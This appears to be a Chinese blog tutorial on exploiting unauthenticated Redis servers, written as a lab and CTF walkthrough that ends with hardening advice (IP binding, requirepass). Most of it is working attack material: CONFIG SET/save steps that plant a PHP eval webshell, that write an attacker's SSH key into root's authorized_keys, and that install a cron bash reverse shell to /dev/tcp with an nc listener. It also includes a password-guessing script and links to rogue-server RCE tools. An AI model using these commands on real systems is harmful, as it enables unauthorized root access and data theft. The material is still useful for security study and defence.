Redis 默认状况下,会绑定在 0.0.0.0:6379,若是没有进行采用相关的策略,好比添加防火墙规则避免其余非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,若是在没有设置密码认证(通常为空)的状况下,会致使任意用户在能够访问目标服务器的状况下未受权访问 Redis 以及读取 Redis 的数据。攻击者在未受权访问 Redis 的状况下,利用 Redis 自身的提供的config 命令,能够进行写文件操做,攻击者能够成功将本身的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可使用对应私钥直接使用ssh服务登陆目标服务器。php
简单说,漏洞的产生条件有如下两点:html
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其余非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(通常为空),能够免密码远程登陆redis服务。
(1)攻击者无需认证访问到内部数据,可能致使敏感信息泄露,黑客也能够恶意执行flushall来清空全部数据;
(2)攻击者可经过EVAL执行lua代码,或经过数据备份功能往磁盘写入后门文件;
(3)最严重的状况,若是Redis以root身份运行,黑客能够给root帐户写入SSH公钥文件,直接经过SSH登陆受害服务器
根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布状况以下:python
全球无验证可直接利用Redis TOP 10国家与地区:git
下载并安装测试用的Redis,本次采用的是Ubuntu镜像:github
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
(若是下载不下来的话:http://distfiles.macports.org/redis/)
解压安装包:tar xzf redis-2.8.17.tar.gz
进入redis目录:cd redis-2.8.17
安装:make
make结束后,进入src目录:cd src,
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:
使用/etc/目录下的reids.conf文件中的配置启动redis服务:
服务启动成功,咱们克隆这台虚拟机web
一台做为攻击机,一台做为靶机redis
攻击机IP:192.168.0.105shell
靶机IP:192.168.0.104数据库
启动redis服务进程后,就可使用测试攻击机程序redis-cli和靶机的redis服务交互了。 好比:
使用redis客户端直接无帐号成功登陆redis:apache
从登陆的结果能够看出该redis服务对公网开放,且未启用认证。
利用前提:
1.靶机redis连接未受权,在攻击机上能用redis-cli连上,如上图,并未登录验证
2.开了web服务器,而且知道路径(如利用phpinfo,或者错误爆路经),还须要具备文件读写增删改查权限
(咱们能够将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则咱们就能够写入一个路径为a/b的任意文件。)
这里因为本地搭建,咱们已经知道目录,咱们把shell写入/home/bmjoker/目录下:
shell写入完成,咱们在靶机上来证实:
成功写入shell。
当数据库过大时,redis写shell的小技巧:
<?php
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>
靶机中开启redis服务:redis-server /etc/redis.conf
在靶机中执行 mkdir /root/.ssh 命令,建立ssh公钥存放目录(靶机是做为ssh服务器使用的)
在攻击机中生成ssh公钥和私钥,密码设置为空:
进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
连接靶机上的redis服务,
将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令链接靶机,将文件写入):
远程登陆靶机的redis服务:redis-cli -h 192.168.0.104
并使用 CONFIG GET dir 命令获得redis备份的路径:
更改redis备份路径为ssh公钥存放目录(通常默认为/root/.ssh):
设置上传公钥的备份文件名字为authorized_keys:
检查是否更改为功(查看有没有authorized_keys文件),没有问题就保存而后退出,
至此成功写入ssh公钥到靶机:
在攻击机上使用ssh免密登陆靶机:ssh -i id_rsa root@192.168.0.104
利用私钥成功登陆redis服务器!!!
端口监听:
在攻击者服务器上监听一个端口(未被占用的任意端口):
nc -lvnp 4444
攻击详情:
链接redis,写入反弹shell
redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
过一分钟左右就能够收到shell
可用来测试是否存在未受权或弱口令的状况:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未受权访问" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密码:%s" % (pass_) except Exception, e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
一、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到以下配置
# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1
把 #bind 127.0.0.1前面的注释#号去掉,而后把127.0.0.1改为你容许访问你的redis服务器的ip地址,表示只容许该ip进行访问,这种状况下,咱们在启动redis服务器的时候不能再用:redis-server,改成:redis-server path/redis.conf 即在启动的时候指定须要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我不免有多台机器访问一个redis服务。
二、设置密码,以提供远程登录
打开redis.conf配置文件,找到requirepass,而后修改以下:
requirepass yourpassword
yourpassword就是redis验证密码,设置密码之后发现能够登录,可是没法执行命令了。
命令以下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并链接服务器
keys * //输出服务器中的全部key
报错以下
(error) ERR operation not permitted
这时候你能够用受权命令进行受权,就不报错了
命令以下:
auth youpassword
-------------------------
于2018.11.23进行补充
在刷墨者学院的题时,发现了这个不错的题,经过这个题了解Redis在低权限下的渗透思路:
给出了IP:219.153.49.228 ,同时也给出了俩个端口一个是web也就是http端口 419387,一个是redis数据库端口 48055
尝试用kali连接redis端口:
redis-cli -h 219.153.49.228 -p 48055
链接成功,本想用上文的方法,生成ssh密钥把内容写进redis数据库,而后把redis数据库的目录指定到/etc/.ssh/,这样就能够经过ssh直接链接服务器,可是这里权限不够,不能指定到/etc/.ssh/目录。
因为服务器是ubuntu的,apache容器,尝试指定一下默认的路径/var/www/html/来写入shell:
一波写入shell的操做,而后在web页面尝试访问咱们写入shell的joker.php文件:
成功写入,尝试用菜刀连接,获取flag:
出现这样的问题仍是权限控制的不足
-----------------------
于2019.10.9日补充
再网上收集两个比较方便的getshell python脚本
1.https://github.com/n0b0dyCN/redis-rogue-server
漏洞利用:
2.https://github.com/Ridter/redis-rce
漏洞利用:
反弹到其余服务器:
参考文章:
Redis 安装 http://www.runoob.com/redis/redis-install.html
Redis未受权访问漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1
Redis 未受权访问配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis未受权访问漏洞利用姿式 http://www.jianshu.com/p/e550628ba1bc
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis